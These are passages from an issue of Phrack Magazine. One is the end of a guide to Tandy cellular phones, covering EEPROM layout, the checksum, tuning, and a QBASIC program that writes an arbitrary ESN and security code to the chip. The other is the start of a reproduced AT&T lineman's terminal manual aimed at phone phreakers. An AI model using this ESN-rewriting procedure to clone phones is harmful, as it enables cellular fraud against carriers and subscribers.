THE ESN: BYTES 05 - 08
|
||
|
||
0000 XX XX XX XX XX 0A FF 21 A5 XX XX XX XX XX XX XX
|
||
|
||
|
||
LOCATING THE CHECKSUM
|
||
|
||
There is a one byte device checksum stored within the 8572 that
|
||
is used by the phone to check the integrity of the data stored
|
||
therein. The checksum is located at byte 3D, indicated by "XX"
|
||
in the example below.
|
||
|
||
The checksum is derived from all the data stored in the NAM, not
|
||
just the ESN. Computing it is relatively easy as it is simply
|
||
the sum (in hex) of all the values from bytes 00 through 3C as
|
||
underlined below.
|
||
|
||
Assuming the PROM programmer has a checksum function, you can
|
||
enter the beginning address as 0000 and the ending address as 003C.
|
||
The software will add all of the values between these locations and
|
||
give you the sum. The alternative is to add the numbers manually
|
||
using the hex mode of a scientific calculator. Either way, adding
|
||
the hex values of all the bytes between 00 and 3C of our example yields
|
||
a sum of 0B5E.
|
||
|
||
The least significant two-digit byte is the actual device
|
||
checksum that would be programmed in location 3D. In our example, the
|
||
least significant half is 5E. Ignoring the most significant half of
|
||
the sum (0B), a value of 5E must be programmed to location 3D.
|
||
|
||
Note that the checksum will be recomputed and change after
|
||
handset programming. When the MIN or other data is changed, it alters
|
||
the values in various bytes. The checksum encompasses all of the
|
||
data stored within the chip used by the transceiver's firmware.
|
||
|
||
CHECKSUM LOCATION
|
||
|
||
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
|
||
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
|
||
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
|
||
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55
|
||
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
|
||
|
||
BYTES SUMMED TO DERIVE CHECKSUM
|
||
|
||
0000 31 32 33 34 35 0A FF 21 A5 38 25 82 0F 25 17 1A
|
||
0010 00 00 00 00 24 15 B1 C3 24 04 A3 21 16 2D 11 AA
|
||
0020 0A 00 00 64 6C B3 32 00 27 00 01 01 11 11 11 11
|
||
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF .. .. ..
|
||
0040 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
|
||
0050 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
|
||
0060 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
|
||
0070 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
|
||
|
||
DEFAULT VALUES
|
||
|
||
In the event that all of the data stored within the NAM becomes
|
||
corrupt, the technician will need to program the security code,
|
||
the ESN, and certain default data values to allow the phone to power
|
||
up. Once powered up, all of the other data can be automatically
|
||
reconstructed by the phone using the handset programming mode.
|
||
|
||
Since the factory does not provide any information about the
|
||
contents of the 8572 EEPROM, we are unsure of the function of
|
||
this 'default data.' It seems to have little significance.
|
||
|
||
The underlined bytes depicted below are fairly typical. Ideally
|
||
the technician should compare the contents of an operational
|
||
phone with equivalent firmware to determine the values for the
|
||
underlined locations, but if this is not possible then the values
|
||
provided in the example may suffice.
|
||
|
||
Once these defaults have been programmed in the proper locations,
|
||
and the ESN and security code have been reconstructed, compute
|
||
the checksum and store it in address 3D. Temporarily reassemble the
|
||
phone and apply power. The unit should power up and complete it's
|
||
self-test which will include the operation where the microprocessor
|
||
computes the NAM checksum and compares it to the value stored in
|
||
location 3D.
|
||
|
||
Assuming the self-diagnostics pass, the remaining data can now be
|
||
reconstructed through normal handset programming.
|
||
|
||
The handset programming template applicable to most of these
|
||
units is located immediately following the appendix detailing the chip
|
||
programming software included for reference purposes.
|
||
|
||
|
||
DEFAULT DATA VALUES
|
||
|
||
0000 XX XX XX XX XX XX XX XX XX 38 XX XX XX XX XX XX
|
||
0010 00 00 00 00 XX XX XX XX XX XX XX XX XX XX XX XX
|
||
0020 XX XX XX XX XX XX XX 00 27 00 01 01 11 11 11 11
|
||
0030 11 08 4D 01 0F 01 0F 00 04 00 00 00 FF XX AA 55
|
||
0040 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0050 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0060 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
0070 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55 AA 55
|
||
|
||
ADDITIONAL NOTES
|
||
|
||
As discussed, the parallel port programming software interface
|
||
has a few quirks, most involving the programming voltage supplied to
|
||
the chip. If all else fails, and a PROM burner is not available,
|
||
take the supply voltage (Vcc) directly from the logic board.
|
||
|
||
Run test lead jumpers from pins #4 and #8 of the IC socket on the
|
||
logic board that held the 8572 EEPROM and connect to the
|
||
respective pins on the socket attached to the cable to be used for
|
||
programming. Turn the board over and locate surface mount
|
||
transistor Q115 which switches the supply voltage to the IC
|
||
socket on and off.
|
||
|
||
This small chip transistor is directly to the left of pin #8 (of
|
||
the 8572 socket) and can be positively identified by the circuit
|
||
trace from socket pin #8 leading directly to the emitter of Q115.
|
||
|
||
By examining this area of the board, you can determine which of
|
||
the other two traces connects to the transistor's collector.
|
||
Jumpering the traces and shorting the collector and emitter simply
|
||
provides a constant, conditioned voltage supply to the socket designed to
|
||
power the 8572 in programming mode. It may also be necessary to cut the
|
||
trace to the base of Q115.
|
||
|
||
Once the chip has been programmed with the software, restore the
|
||
integrity of the cut trace to the base of Q115 and remove the
|
||
short between the collector and emitter.
|
||
|
||
USING THE SOFTWARE
|
||
|
||
The Cellular Data Repair Utility software requires that you first
|
||
create a small text file using an ASCII text editor such as DOS's
|
||
"EDIT" utility program.
|
||
|
||
This text file must contain the data described below in the
|
||
specific order presented. The data in this image (.img) file
|
||
will be programmed into the 8572.
|
||
|
||
XXX ESN Prefix (decimal)
|
||
XXXXXXXX ESN (8 digits decimal)
|
||
XXXXX SIDH (5 digits decimal)
|
||
1 Access Bit
|
||
1 Local Option Bit
|
||
AAAPPPXXXX MIN (10 digits)
|
||
08 SCM
|
||
0XXX (0333 or 0334)
|
||
10 Access Overload Class
|
||
1 Pref. System Bit
|
||
10 GIM
|
||
12345 Security Code
|
||
|
||
|
||
EXAMPLE IMAGE FILE
|
||
Filename: TEST.IMG
|
||
|
||
165
|
||
00246812
|
||
00031
|
||
1
|
||
1
|
||
5105551212
|
||
08
|
||
0334
|
||
10
|
||
1
|
||
10
|
||
12345
|
||
|
||
|
||
PROGRAMMING
|
||
|
||
Once the image file containing the appropriate data has been
|
||
saved, run the software with QBASIC or Microsoft BASIC and follow the
|
||
prompts. Be sure to set the proper parallel port address in line
|
||
1950 to reflect the port to which the interface is connected
|
||
first.
|
||
|
||
TUNING STEPS
|
||
|
||
1) With a digital voltmeter attached to the positive terminal
|
||
of C908, adjust VR908 to provide a reading of 8 vdc (q 0.1 volt).
|
||
|
||
2) With the voltmeter attached to the positive terminal of
|
||
C913, adjust VR918 for a reading of 8 vdc (q 0.1 volt).
|
||
|
||
3) Connect the voltmeter to test point TXV and enter diagnostic
|
||
command 0, 1, SEL, 9, END. Adjust C676 to achieve a reading of 5
|
||
vdc control voltage (q 0.1 volt).
|
||
|
||
4) Check receiver control voltage with test point RXV. Adjust
|
||
C614 for a reading of 4 vdc (q 0.1 volt).
|
||
|
||
5) With a power meter connected to the antenna connector of
|
||
the transceiver through an attenuator, enter command SEL, 1, 2, SND,
|
||
END to turn on the transmitter at high power. VR814 should then
|
||
be adjusted to show 3 watts (34.8 dBm) on the power meter.
|
||
|
||
6) Using the same power meter, enter command SEL, 1, 3, 7, END.
|
||
|
||
Adjust VR846 for a low power maximum reading of 4 milliwatts (6
|
||
dBm).
|
||
|
||
7) Using a frequency counter to measure the output of the
|
||
antenna connector, adjust X600 for a reading of 836.4000 MHz (q 0.1 kHz).
|
||
|
||
8) Using a deviation meter, activate DTMF tones with command
|
||
SEL, 2, 1, END, 1, 1, END and adjust VR259 for 8.4 kHz q 0.1 kHz DTMF
|
||
deviation.
|
||
|
||
9) End DTMF signaling with command 1, 0, END. Enable SAT
|
||
transmission by entering SEL, 2, 8, SND, END and adjust VR261 for
|
||
7.8 kHz deviation (q 0.1 kHz).
|
||
|
||
10) Enter SND, END to discontinue SAT signaling.
|
||
|
||
|
||
ADDITIONAL ADJUSTMENT
|
||
|
||
The level of audio fed to the earphone via the "ear" line (pin #7
|
||
on the handset connector) can be adjusted via VR215. 1.2 Vrms is
|
||
the factory specified level with the volume turned up to it's
|
||
maximum setting.
|
||
|
||
Received audio signals can be adjusted for minimal distortion by
|
||
peaking L703.
|
||
|
||
Frequency deviation of voice audio can be fine tuned with VR260.
|
||
Factory spec. is for 8 kHz deviation.
|
||
|
||
|
||
POWER LOSS
|
||
|
||
If the transceiver refuses to even power up and begin self-diagnostics,
|
||
check the traces on the underside of the board near the power connector.
|
||
|
||
Most of these units 'protect' themselves against reverse polarity
|
||
being present on the power cables with fusible traces. If the
|
||
phone is connected to a vehicle or battery power supply backwards,
|
||
one of these very small circuit traces will vaporize, leaving the
|
||
phone inoperative.
|
||
|
||
While inconvenient for the customer and service technician alike,
|
||
repairing the trace is an additional source of revenue for the
|
||
shop that might not be generated had a standard replaceable fuse or
|
||
rectifier been utilized in the design.
|
||
|
||
|
||
APPENDIX III
|
||
|
||
TECHNICAL RESOURCES
|
||
|
||
|
||
|
||
EEPROM PROGRAMMER
|
||
|
||
In preparing this article and performing other research involving various
|
||
types of firmware, we used the EPROM+ programming system from Andromeda
|
||
Research. This small, portable device is housed in a carrying case and
|
||
requires no internal card to operate with your PC. Once the software is
|
||
installed on the computer, the EPROM+ programmer is simply plugged into an
|
||
available parallel printer port.
|
||
|
||
To program the PCD8572 series EEPROMs, a small adapter is required.
|
||
|
||
You can construct this yourself from the included instructions,
|
||
or purchase it already built for about $35 extra.
|
||
|
||
The EPROM+ programming system is available for $289 from the
|
||
manufacturer:
|
||
|
||
Andromeda Research
|
||
P.O. Box 222
|
||
Milford, Ohio 45150
|
||
(513) 831-9708 - voice
|
||
(513) 831-7562 - fax
|
||
|
||
|
||
SERVICE MANUALS
|
||
|
||
Service manuals are available for most Radio Shack or Tandy products from
|
||
Tandy National Parts. Ordering these publications requires that you visit
|
||
your local Radio Shack store. Tell the clerk that you want him (or her)
|
||
to call National Parts and order a service manual for catalog number....
|
||
|
||
National Parts no longer accepts calls from consumers and will only
|
||
ship to a recognized Radio Shack retail outlet.
|
||
|
||
NOKIA - MOBIRA
|
||
|
||
Service handsets, manuals and other parts can be ordered from
|
||
Nokia-Mobira in Largo, Florida. Their toll-free technical
|
||
assistance number is (800) 666-5553.
|
||
|
||
TANDY FAX-BACK SERVICE
|
||
|
||
Tandy Support Services offers technical information via fax-back
|
||
server. There is no mention that the service is restricted to
|
||
Radio Shack stores. Although ANI can be hell, the toll-free number
|
||
is (800) 323-6586 if you want to be faxed product info on assorted 'Shack
|
||
products. The server makes neat video game noises, and thanks you for
|
||
using the service.
|
||
|
||
For an index of the cellular specification sheets available via
|
||
fax-back, request document #8882.
|
||
|
||
Programming instructions are also available from this automated
|
||
fax server:
|
||
|
||
DOCUMENT # PHONE MODEL
|
||
|
||
9009 Current List [index]
|
||
8728 CT-105, 1050, 1055
|
||
9004 CT-350
|
||
9005 CT-302
|
||
9006 CT-102, 103, 104, 1030, 1033
|
||
9007 CT-300, 301
|
||
9008 CT-100, 101, 200, 201
|
||
9020 CT-351
|
||
9665 BC901ST [170-1015]
|
||
9579 CP-1700 [170-1016]
|
||
9577 CP-4600/5600 [170-1067 / 170-1056]
|
||
14493 Ericsson AH-210 [170-1064]
|
||
9581 EZ-400 [170-1057]
|
||
9743 Motorola 12822 [170-1058]
|
||
9583 Motorola DPC550 [170-1059]
|
||
|
||
This information provided for reference purposes only. Use of
|
||
this fax-back service may be restricted to authorized personnel. No
|
||
one has ever faxed me to complain, however.
|
||
|
||
THE INTERFACE
|
||
|
||
The uuencoded drawing which accompanies this article describes the
|
||
interface required to use the programming software to rebuild the data
|
||
stored within the serial EEPROM. Because there are a number of variables
|
||
that can affect the performance of this software and interface, prepare
|
||
yourself for a bit of trial and error. A standard programming device is
|
||
recommended over the use of this software. Since the original publication
|
||
of this manual in hard-copy, we've heard reports that the software does not
|
||
work well with the PCD8572, but does favor the PCD85C72 (CMOS version).
|
||
|
||
The DB-25 connector is wired to an 8-pin DIP socket to accommodate the 8572
|
||
integrated circuit. A regulated, well-filtered source of 5 volts must be
|
||
connected to pin #8 of the DIP socket, and Pin #4 must be tied to ground.
|
||
If the PC used for programming and the power source to the IC socket share
|
||
a common ground, you may be able to use pin #25 of the parallel port connector
|
||
as shown in the diagram.
|
||
|
||
Please be careful not to cause any shorts in this instance or you
|
||
may damage your computer by sinking too much current through the
|
||
parallel port. If you are unsure of what you are doing, eliminate
|
||
the connection between pin #4 of the IC socket and pin #25 of the
|
||
DB-25 connector. Instead, connect pin #4 directly to ground.
|
||
|
||
The resistor shown in the circuit is used as an optional voltage
|
||
divider. Depending on the voltage provided by pin #2 of your
|
||
parallel port, a resistor between 100 and 1k ohms may be required
|
||
to drop it to a level within the nominal range required by the
|
||
EEPROM.
|
||
|
||
TUNING THE RADIO
|
||
|
||
The diagrams in the uuencoded .zip file will assist in identifying and
|
||
locating the various adjustment points on the logic board and transceiver (RF)
|
||
PC board. Alignment should not be attempted by technicians unfamiliar with
|
||
the principles involved, or in the absence of calibrated radio frequency
|
||
measurement equipment.
|
||
|
||
A diagnostic (service) handset may be required to access
|
||
service-level commands within the transceiver. If the phone does
|
||
not respond properly to the commands documented herein, you'll
|
||
need to obtain a service handset from Tandy National Parts. This
|
||
handset is actually a Nokia "programming handset" which can be
|
||
obtained directly from the factory.
|
||
|
||
PROGRAMMING TEMPLATE
|
||
|
||
For Tandy / Radio Shack Cellular Mobile Telephones
|
||
Models CT-102, 302, 1030, 1033, etc.
|
||
|
||
|
||
|
||
1) Power up phone. After the phone cycles through it's
|
||
self-test mode and the display clears, enter the following keystrokes from
|
||
the keypad:
|
||
|
||
*, 3, 0, 0, 1, #, X, X, X, X, X, SEL, 9, END
|
||
|
||
The X, X, X, X, X represents the five-digit security code stored
|
||
in EEPROM. The factory default is 1, 2, 3, 4, 5. This security
|
||
code is required to access handset programming mode.
|
||
|
||
2) The display will now read: IdEnt IF InFO Pri
|
||
|
||
3) Press END to program NAM 1. Display will show first
|
||
programming step.
|
||
|
||
4) To program NAM 2, press SND twice instead of END. Display
|
||
will cycle through: OPt InFO diSAbLEd then OPt InFO EnAbLEd
|
||
|
||
5) Use the END key to step through each step. The SND key
|
||
toggles the state of single-digit options. To enter new
|
||
information, use END to step through the display until the old
|
||
data is displayed. Key in the new data and press END to increment to
|
||
the next step.
|
||
|
||
6) When programming has been completed, press SEL, CLR to save
|
||
changes.
|
||
|
||
|
||
Step # Desired Input Display Data Description
|
||
|
||
01 5 digits HO-Id SIDH (Home System Identification)
|
||
02 0 or 1 MIN Mark MIN Mark (Toggle with SND)
|
||
03 0 or 1 LOCL OPt Local Use Mark (Toggle with SND)
|
||
04 10 digits Phon MIN (Area Code + Mobile Number)
|
||
05 08 St CLASS SCM (Station Class Mark)
|
||
06 333 or 334 PAging Ch IPCH (Initial Paging Channel)
|
||
07 2 digits O-LOAd CL Access Overload Class
|
||
08 A or B PrEF SyS Preferred System (Toggle with SND)
|
||
09 2 digits grOUP Id GIM Mark (Set to 10 in U.S.)
|
||
10 5 digits SECUrity Security Code
|
||
11 ------- 1 dAtE Firmware Date - not changeable
|
||
12 mmddyy 2 dAtE Installation Date
|
||
|
||
Press SEL, CLR to save & exit. Turn Power off and back on for
|
||
model CT-302.
|
||
|
||
|
||
[Begin Editorial]
|
||
|
||
--------------------------------------------------------------------------
|
||
HOW TO OBTAIN A HARD-COPY VERSION OF THIS FILE - WITH ALL PHOTOS:
|
||
--------------------------------------------------------------------------
|
||
|
||
"The Complete Guide to Tandy / Radio Shack Cellular Hardware" is available
|
||
for $15 prepaid. We keep $5 of the price to cover the cost of printing
|
||
and the Priority mail postage. The remaining $10 of the purchase price will
|
||
be donated to Boston's The L0pht to help them cover the cost of upgrading
|
||
their Internet connection for l0pht.com....
|
||
|
||
The guys at the L0pht have always been cool with us, and maintain what
|
||
amounts to one of the best cellular archives accessible on the 'net. We
|
||
want to do what we can to assist them in providing this public source of
|
||
enlightenment. Now you can help them, and get something for it in return.
|
||
If nothing else, you can sit back and enjoy all my great close-up photos
|
||
of the chips <g>!
|
||
|
||
-- Damien Thorn
|
||
|
||
Here's the address:
|
||
|
||
Phoenix Rising Communications
|
||
3422 W. Hammer Lane, Suite C-110
|
||
Stockton, California 95219
|
||
|
||
[end editorial]
|
||
|
||
-----------------------------------------------------------------------------
|
||
You can reach me via e-mail at: damien@prcomm.com
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
1000 ' CELLULAR DATA REPAIR UTILITY
|
||
1005 ' Form image and program PCD8572 IC via LPT port.
|
||
1010 ' (c) 1993, 1994, 1995 WarpCoreBreachGroup - All rights reserved.
|
||
1015 '
|
||
1020 ' This program is not shareware/freeware.
|
||
1025 '
|
||
1030 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 00-07
|
||
1040 DATA xx,38,xx,xx,xx,xx,xx,xx ' Bytes 08-15
|
||
1050 DATA 00,00,00,00,xx,xx,xx,xx ' Bytes 16-23
|
||
1060 DATA xx,xx,xx,xx,xx,xx,xx,xx ' Bytes 24-31
|
||
1070 DATA xx,xx,xx,D6,C5,5C,C6,00 ' Bytes 32-39
|
||
1080 DATA 27,00,01,01,11,11,11,11 ' Bytes 40-47
|
||
1090 DATA 11,08,4D,01,0F,01,0F,00 ' Bytes 48-55
|
||
1100 DATA 04,00,00,00,FF ' Bytes 56-60
|
||
1105 UNIT1$="050490"
|
||
1110 DIM BYTE$(60),BYTE(61)
|
||
1120 FOR I=0 TO 60:READ BYTE$(I):NEXT
|
||
1130 FILES "*.IMG"
|
||
1140 LINE INPUT "Which file do you want to read? ";F$
|
||
1150 OPEN "I",#1,F$+".IMG"
|
||
1160 INPUT#1,ESNPREFIX
|
||
1170 INPUT#1,ESN#
|
||
1180 INPUT#1,HOMEID
|
||
1190 INPUT#1,ACCESS
|
||
1200 INPUT#1,LOCALOPT
|
||
1210 INPUT#1,PHONE$
|
||
1220 INPUT#1,STATCLASS
|
||
1230 INPUT#1,PGCH
|
||
1240 INPUT#1,OVERLDCL
|
||
1250 INPUT#1,PREFSYS
|
||
1260 INPUT#1,GROUPID
|
||
1270 INPUT#1,SEC$
|
||
1280 ' Building binary image
|
||
1290 UNIT2$=MID$(UNIT$,1,2)+MID$(UNIT$,4,2)+MID$(UNIT$,9,2)
|
||
1300 CLOSE #1
|
||
1310 FOR I=1 TO 5:BYTE$(I-1)="3"+MID$(SEC$,I,1):NEXT
|
||
1320 FOR I=0 TO 2:BYTE$(10+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT1$,I*2+1,2))),2)
|
||
1325 NEXT
|
||
1330 FOR I=0 TO 2:BYTE$(13+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT2$,I*2+1,2))),2)
|
||
1335 NEXT
|
||
1340 FOR I=0 TO 4:BYTE$(24+I)=MID$(PHONE$,2*I+1,2):NEXT
|
||
1350 FOR I=5 TO 0 STEP -1
|
||
1360 Q=INT(ESN#/(16^I))
|
||
1370 ESN#=ESN#-Q*(16^I)
|
||
1380 IF Q>9 THEN Q=Q+7
|
||
1390 ESN$=ESN$+CHR$(48+Q)
|
||
1400 NEXT
|
||
1410 BYTE$(8)=RIGHT$("0"+HEX$(ESNPREFIX),2)
|
||
1420 BYTE$(5)=MID$(ESN$,5,2)
|
||
1430 BYTE$(6)=MID$(ESN$,3,2)
|
||
1440 BYTE$(7)=MID$(ESN$,1,2)
|
||
1450 FOR I=0 TO 60:Q$=BYTE$(I)
|
||
1460 QH=ASC(LEFT$(Q$,1))-48:IF QH>9 THEN QH=QH-7:IF QH>15 THEN QH=QH-32
|
||
1470 QL=ASC(RIGHT$(Q$,1))-48:IF QL>9 THEN QL=QL-7:IF QL>15 THEN QL=QL-32
|
||
1480 Q=QH*16+QL
|
||
1490 BYTE(I)=Q:CHECK=CHECK+Q
|
||
1500 NEXT
|
||
1510 BYTE(20)=HOMEID AND 255:BYTE(21)=INT(HOMEID/256)
|
||
1520 BYTE(22)=ACCESS
|
||
1530 BYTE(23)=LOCALOPT
|
||
1540 BYTE(29)=STATCLASS
|
||
1550 BYTE(30)=PGCH AND 255:BYTE(31)=INT(PGCH/256)
|
||
1560 BYTE(32)=OVERLDCL
|
||
1570 BYTE(33)=PREFSYS
|
||
1580 BYTE(34)=GROUPID
|
||
1590 AC$=MID$(PHONE$,1,3)
|
||
1600 PRE$=MID$(PHONE$,4,3)
|
||
1610 PH$=MID$(PHONE$,7,4)
|
||
1620 AC=VAL(AC$)
|
||
1630 IF MID$(AC$,2,2)="00" THEN AC2=AC-1:GOTO 1670
|
||
1640 IF MID$(AC$,3,1)="0" THEN AC2=AC-101:GOTO 1670
|
||
1650 IF MID$(AC$,2,1)="0" THEN AC2=AC-11:GOTO 1670
|
||
1660 AC2=AC-111
|
||
1670 PRE=VAL(PRE$)
|
||
1680 IF MID$(PRE$,2,2)="00" THEN PRE2=PRE-1:GOTO 1720
|
||
1690 IF MID$(PRE$,2,1)="0" THEN PRE2=PRE-11:GOTO 1720
|
||
1700 IF MID$(PRE$,3,1)="0" THEN PRE2=PRE-101:GOTO 1720
|
||
1710 PRE2=PRE-111
|
||
1720 IF PRE2<0 THEN PRE2=1000+PRE2
|
||
1730 IF LEFT$(PH$,1)="0" THEN D=-24:GOTO 1750
|
||
1740 D=87-24*(ASC(PH$)-49)
|
||
1750 IF MID$(PH$,4,1)="0" THEN D=D-10
|
||
1760 IF MID$(PH$,3,1)="0" THEN D=D-100
|
||
1770 IF MID$(PH$,2,1)="0" THEN D=D-1000
|
||
1780 IF MID$(PH$,1,1)="0" THEN D=D-10105
|
||
1790 PH2=VAL(PH$)-D
|
||
1800 C=INT(PRE2/4)
|
||
1810 B=64*(PRE2 AND 3)
|
||
1820 A=PH2 AND 255
|
||
1830 B=B OR INT(PH2/256)
|
||
1840 BYTE(35)=A
|
||
1850 BYTE(36)=B
|
||
1860 BYTE(37)=C
|
||
1870 BYTE(38)=AC2 AND 255
|
||
1880 BYTE(39)=INT(AC2/256)
|
||
1890 CHECK=0
|
||
1900 FOR I=0 TO 60
|
||
1910 CHECK=CHECK+BYTE(I)
|
||
1920 NEXT
|
||
1930 BYTE(61)=CHECK AND 255
|
||
1940 DEV$="1010":ADDR$="000"
|
||
1945 ' Select the base address for your printer port with the next line.
|
||
1950 BASE=&H378 ' Which is LPT2. &h378 is LPT1 and &h3bc is LPT3.
|
||
1960 GOTO 2120
|
||
1970 OUT BASE,(DOUT AND 1) OR 2*(CLK AND 1) OR 4*(RELAY)
|
||
1980 FOR DELAY=0 TO 9:NEXT
|
||
1990 DIN=INP(BASE) AND 1
|
||
2000 RETURN
|
||
2010 FOR I=1 TO LEN(B$)
|
||
2020 B=ASC(MID$(B$,I,1))-48
|
||
2030 DOUT=B:CLK=0:GOSUB 1970
|
||
2040 DOUT=B:CLK=1:GOSUB 1970
|
||
2050 DOUT=B:CLK=0:GOSUB 1970
|
||
2060 NEXT
|
||
2070 T=0
|
||
2080 DOUT=1:CLK=1:GOSUB 1970
|
||
2090 IF DIN=0 THEN RETURN
|
||
2100 IF T=200 THEN BEEP:PRINT "Nack timeout error":STOP
|
||
2105 ' Is voltage applied to the chip?
|
||
2110 T=T+1:GOTO 2080
|
||
2120 MAX=61:RELAY=1:DOUT=1:CLK=1:GOSUB 1970
|
||
2130 T$=TIME$
|
||
2140 IF T$=TIME$ GOTO 2140
|
||
2150 FOR J=0 TO MAX
|
||
2160 DOUT=1:CLK=1:GOSUB 1970 ' Start bit
|
||
2170 IF DIN=0 THEN BEEP:PRINT "Bus not free error":STOP ' Bad!
|
||
2180 DOUT=0:CLK=1:GOSUB 1970
|
||
2190 DOUT=0:CLK=0:GOSUB 1970
|
||
2200 B$=DEV$+ADDR$+"0"
|
||
2210 GOSUB 2010
|
||
2220 B$=""
|
||
2230 FOR I=7 TO 0 STEP -1
|
||
2240 IF (J AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"
|
||
2250 NEXT
|
||
2260 GOSUB 2010
|
||
2270 Z=BYTE(J)
|
||
2280 B$="":FOR I=7 TO 0 STEP -1
|
||
2290 IF (Z AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"
|
||
2300 NEXT
|
||
2310 GOSUB 2010
|
||
2320 DOUT=0:CLK=0:GOSUB 1970
|
||
2330 DOUT=0:CLK=1:GOSUB 1970 ' Stop bit
|
||
2340 DOUT=1:CLK=1:GOSUB 1970
|
||
2350 PRINT USING "###% programmed";100*J/MAX
|
||
2360 PRINT STRING$(80*J/MAX,46)
|
||
2370 LOCATE CSRLIN-2,POS(0)
|
||
2380 GOSUB 1970
|
||
2390 IF DIN=0 GOTO 2380
|
||
2400 NEXT
|
||
2410 RELAY=0:DOUT=1:CLK=1:GOSUB 1970
|
||
2420 PRINT:PRINT
|
||
2430 'This is the end in case you though the code was truncated somehow...
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 8 of 18
|
||
|
||
|
||
.::::: :::::. .::::. .::::: ::::::
|
||
:: :: :: :: :: :: ::
|
||
:: :: :: :: :: :: ::
|
||
:: :::::' :::::: ::::: ::
|
||
:: :::::. :: :: :: ::
|
||
`::::: :: :: :: :: :: ::
|
||
|
||
.::::. .::::: .::::: .::::: .::::: .:::::
|
||
:: :: :: :: :: :: ::
|
||
:: :: :: :: :::: `::::. `::::.
|
||
:::::: :: :: :: :: ::
|
||
:: :: :: :: :: :: ::
|
||
:: :: `::::: `::::: `::::: :::::' :::::'
|
||
|
||
:::::: .::::: .::::. .::::::. :: .:::: :: .::::. ::
|
||
:: :: :: :: :: :: :: :: :: :: :: :: :: ::
|
||
:: :::: :: :: :: :: :: :: :: :: :: :: ::
|
||
:: :: :::::' :: :: :: :: :: :: :::::: ::
|
||
:: :: ::::. :: :: :: :: :: :: :: :: ::
|
||
:: `::::: :: :: :: :: :: :: `:::: :: :: `::::
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
Written by Boss Hogg
|
||
|
||
Greets: Voyager/Splatter/Mr.Hyde/Misfit/Darkseed/][avok/Paradyne
|
||
Ethereal Gloom/Surgat/GOL/Carnage/Kamakize/Seeker/Stravis
|
||
+ all others with weird thoughts and ideas.
|
||
|
||
|
||
The craft.
|
||
|
||
Although its called a Craft Access Terminal, the craft hardly
|
||
represents a standard computer terminal. It is in actually a lineman's
|
||
handset with a built in terminal and 1200 baud modem. The unit looks
|
||
like a handset on steroids measuring 12.5" in length. The ones in our
|
||
particular area were bright yellow and looks like a rejected Sesame
|
||
Street prop. We have reports that they also made them in a blue color as
|
||
well though we have yet to see one in use in our area.
|
||
|
||
The unit features a 4 line x 16 character LCD display, and a
|
||
joystick with a plunger on the top. You will find a diagram of the unit
|
||
with descriptions in brackets.
|
||
|
||
These units are possibly being phased out in a few areas and
|
||
have been found at telco auctions as well as from surplus stores. They
|
||
could be replacing these yellow units with the blue units (Which have
|
||
the same basic descriptions yet are newer. The crafts we have found were
|
||
severely worn). We have also heard they were being replaced with a
|
||
Access-2 terminal (rumored to represent a HP-95lx palmtop; Fold open,
|
||
larger LCD screen).
|
||
|
||
This is essentially the entire uncopywritten manual to the
|
||
terminal. The unit can be somewhat confusing at first due to a somewhat
|
||
weird menu layout.
|
||
|
||
|
||
Also, to avoid confusion:
|
||
|
||
- The page numbers are located at the bottom of the pages. You may wish
|
||
to add pagefeeds and space out the page numbers to the bottom of the
|
||
page if you want to print it out and stick it in your phreakers binder
|
||
or whatever.... The line is meant for the top of each page... As there
|
||
is a line at the top in the real manual.
|
||
|
||
|
||
----Here begins the Craft Access Terminal Instruction Manual----
|
||
|
||
|
||
|
||
|
||
|
||
|
||
AT&T
|
||
|
||
Craft Access Terminal
|
||
|
||
|
||
|
||
Instruction Manual
|
||
|
||
|
||
|
||
|
||
|
||
|
||
-cover-
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Table of Contents
|
||
|
||
Page
|
||
|
||
Features : 2
|
||
Using the pointer : 4
|
||
Battery Pack : 6
|
||
Connecting to a working pair : 8
|
||
Making a telephone call : 9
|
||
Calling a computer : 12
|
||
Working with a computer : 15
|
||
Getting help : 15
|
||
Making or canceling a
|
||
selection on a screen : 17
|
||
Reading stored information : 19
|
||
Filling in information : 20
|
||
Taking care of your terminal : 25
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Getting Started
|
||
|
||
Two battery packs, a charger and a short charger adaptor cord
|
||
should be in the box with the Craft Access Terminal. Before
|
||
using the Craft Access Terminal, insert a battery pack. The
|
||
battery pack must be charged before use. For directions on how
|
||
to charge and insert the battery pack, look at the section of
|
||
the instructions called "The Craft Access Terminal's Battery
|
||
Pack." This section begins on page 6.
|
||
|
||
|
||
|
||
|
||
-1-
|
||
|
||
|
||
|
||
|
||
-----------------------------------------------------------
|
||
|
||
|
||
Craft Access Terminal Features
|
||
|
||
|
||
|
||
Receiver - Works like any ordinary telephone receiver.
|
||
[points to ear-piece]
|
||
|
||
Transmitter - Works like an ordinary telephone transmitter.
|
||
